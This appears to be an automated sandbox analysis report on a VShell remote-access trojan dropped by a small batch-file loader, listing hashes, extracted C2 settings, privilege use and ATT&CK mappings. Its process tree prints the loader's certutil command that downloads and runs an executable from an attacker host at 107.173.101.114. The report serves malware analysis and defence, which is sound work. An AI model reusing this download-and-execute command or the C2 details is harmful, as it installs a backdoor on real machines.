vshell | 081843cbfae3915168e16967f2ff4eb3663e55fd98cf66a7642942c34b0c4cff

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 01:46

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General

Target
jaffacakes118_081843cbfae3915168e16967f2ff4eb3663e55fd98cf66a7642942c34b0c4cff.bat
Size 512B
Sample260910-b665kacm4w
SHA256 081843cbfae3915168e16967f2ff4eb3663e55fd98cf66a7642942c34b0c4cff
MD5 9457a5f5d74e72480d37f128b61ee09f
SHA1 8868b573016668c62a0344574f93cfc05bd29c00
SHA512 db918566a3f5b6b71b27dc629ef9ad520506a903c7dd8cdab54f1d8fa79fb25de82ff6d130d070ea4a7851e1b8b5f43dad28f8e66fb663630adc5e515b65c817
TLSH
T13CF09ECD18324EBE0FC9C873F459A186B40AA0CCCAA1A5D51B9126DD4E480D832EBB93
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor execution vshell rat

Malware Config

Extracted

Family

vshell

107.173.101.114

Attributes

port
10000
salt
qwWVRFS
type
tcp
vkey
qwwrvd

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/5000-8-0x0000000067700000-0x0000000067ED4000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
5	3036	certutil.exe
6	3036	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
5000	b583e657tcp.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3872	cmd.exe
436	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
5000	b583e657tcp.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4468	WMIC.exe
Token: SeSecurityPrivilege	4468	WMIC.exe
Token: SeTakeOwnershipPrivilege	4468	WMIC.exe
Token: SeLoadDriverPrivilege	4468	WMIC.exe
Token: SeSystemProfilePrivilege	4468	WMIC.exe
Token: SeSystemtimePrivilege	4468	WMIC.exe
Token: SeProfSingleProcessPrivilege	4468	WMIC.exe
Token: SeIncBasePriorityPrivilege	4468	WMIC.exe
Token: SeCreatePagefilePrivilege	4468	WMIC.exe
Token: SeBackupPrivilege	4468	WMIC.exe
Token: SeRestorePrivilege	4468	WMIC.exe
Token: SeShutdownPrivilege	4468	WMIC.exe
Token: SeDebugPrivilege	4468	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4468	WMIC.exe
Token: SeRemoteShutdownPrivilege	4468	WMIC.exe
Token: SeUndockPrivilege	4468	WMIC.exe
Token: SeManageVolumePrivilege	4468	WMIC.exe
Token: 33	4468	WMIC.exe
Token: 34	4468	WMIC.exe
Token: 35	4468	WMIC.exe
Token: 36	4468	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4468	WMIC.exe
Token: SeSecurityPrivilege	4468	WMIC.exe
Token: SeTakeOwnershipPrivilege	4468	WMIC.exe
Token: SeLoadDriverPrivilege	4468	WMIC.exe
Token: SeSystemProfilePrivilege	4468	WMIC.exe
Token: SeSystemtimePrivilege	4468	WMIC.exe
Token: SeProfSingleProcessPrivilege	4468	WMIC.exe
Token: SeIncBasePriorityPrivilege	4468	WMIC.exe
Token: SeCreatePagefilePrivilege	4468	WMIC.exe
Token: SeBackupPrivilege	4468	WMIC.exe
Token: SeRestorePrivilege	4468	WMIC.exe
Token: SeShutdownPrivilege	4468	WMIC.exe
Token: SeDebugPrivilege	4468	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4468	WMIC.exe
Token: SeRemoteShutdownPrivilege	4468	WMIC.exe
Token: SeUndockPrivilege	4468	WMIC.exe
Token: SeManageVolumePrivilege	4468	WMIC.exe
Token: 33	4468	WMIC.exe
Token: 34	4468	WMIC.exe
Token: 35	4468	WMIC.exe
Token: 36	4468	WMIC.exe
Token: SeDebugPrivilege	5000	b583e657tcp.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3872 wrote to memory of 436	3872	cmd.exe	87
PID 436 wrote to memory of 4468	436	cmd.exe	88
PID 436 wrote to memory of 3156	436	cmd.exe	89
PID 3872 wrote to memory of 3036	3872	cmd.exe	91
PID 3872 wrote to memory of 5000	3872	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_081843cbfae3915168e16967f2ff4eb3663e55fd98cf66a7642942c34b0c4cff.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4468
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:3156
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\b583e657tcp.exe"
  2⤵
  - Downloads MZ/PE file
  PID:3036
- C:\Users\Public\b583e657tcp.exe
  "C:\Users\Public\b583e657tcp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5000

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

b583e657tcp.exe

Path C:\Users\Public\b583e657tcp.exe
Size 3KB
SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
MD5 6a1c343bec9f0ae29f493a0a93206542
SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
TLSH
T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5000-7-0x000001BC26D60000-0x000001BC289FD000-memory.dmp

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memory/5000-8-0x0000000067700000-0x0000000067ED4000-memory.dmp

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memory/5000-18-0x000001BC26D60000-0x000001BC289FD000-memory.dmp

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